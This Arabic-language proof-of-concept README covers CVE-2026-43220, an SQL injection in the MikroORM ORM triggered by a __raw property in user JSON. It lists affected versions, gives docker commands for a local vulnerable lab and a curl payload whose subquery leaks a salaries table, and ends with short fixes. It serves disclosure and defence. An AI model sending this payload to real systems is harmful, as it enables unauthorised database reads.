
ثغرة حقن SQL في MikroORM
★ إثبات مفهوم حقن SQL في MikroORM CVE-2026-43220 ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 هو ثغرة حقن SQL في MikroORM، وهو إطار عمل ORM شائع الاستخدام في TypeScript/Node.js.
عندما يتم تمرير قيمة مقدمة من المستخدم تحتوي على خاصية__rawإلى عمود Custom Type دون التحقق منها، يتعرف فحصisRaw()في MikroORM عليها كتعبير Raw SQL داخلي موثوق ويُدرج قيمةsqlالتي يتحكم بها المهاجم مباشرةً في الاستعلام المُولَّد دون تحويل النوع أو تعقيمه، مما يؤدي إلى تنفيذ غير مقصود لأوامر SQL عشوائية.
| الفئة | الإصدار |
|---|
| معرّض للثغرة | MikroORM الإصدار ≤ 6.4.3 و 7.0.0 ≤ الإصدار ≤ 7.0.5 |
| مُصحَّح | MikroORM 6.4.4 و 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
بعد تشغيل البيئة المعرّضة للثغرة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.
__rawأرسل جسم JSON يتضمن خاصية __raw تستهدف عمود Custom Type.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
تحقق من أن واجهة API تُرجع استجابة ناجحة دون أي خطأ، مما يشير إلى أن MikroORM قبلت الحمولة الخبيثة كقيمة صالحة.
تحقق من أن حقل content للمنشور المُنشأ يحتوي على نتيجة الاستعلام
من جدول salaries (على سبيل المثال، Alice: 5000 / Bob: 7000 / ...)،
مما يؤكد أن بيانات من جدول غير ذي صلة قد تم تضمينها بصمت
في الاستجابة دون أي خطأ أو انتهاك لضوابط الوصول.
isRaw() لرفض خصائص __raw المقدمة من الخارج__raw قبل تمرير القيم إلى طبقة ORM